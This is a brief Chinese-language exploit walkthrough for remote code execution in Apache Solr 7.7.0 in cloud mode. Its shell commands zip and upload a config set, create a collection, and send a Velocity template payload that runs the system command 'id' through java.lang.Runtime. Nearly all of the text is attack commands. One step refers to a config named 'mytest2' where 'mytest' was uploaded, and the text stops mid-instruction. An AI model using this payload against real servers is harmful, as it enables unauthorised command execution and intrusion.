需要solr以cloud模式啟動，特征是：
會有一個cloud的功能 。
編譯一個惡意配置：
在對應目錄下依次執行以下shell命令。
/solr-7.7.0/server/solr/configsets/sample_techproducts_configs/conf
zip -r - * > mytest.zip
curl -X POST --header "Content-Type:application/octet-stream" --data-binary @mytest.zip "http://127.0.0.1:8983/solr/admin/configs?action=UPLOAD&name=mytest" #注冊一個配置文件集合為mytest
curl "http://127.0.0.1:8983/api/cluster/configs?omitHeader=true" #查詢配置文件集合是否上傳成功
curl "http://127.0.0.1:8983/solr/admin/collections?action=CREATE&name=mytest&numShards=1&replicationFactor=1&wt=xml&collection.configName=mytest2" #使用之前上傳的配置文件集合為mytest
curl -v "http://127.0.0.1:8983/solr/mytest/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x='')+%23set($rt=$x.class.forName('java.lang.Runtime'))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end"
最后執行命令：
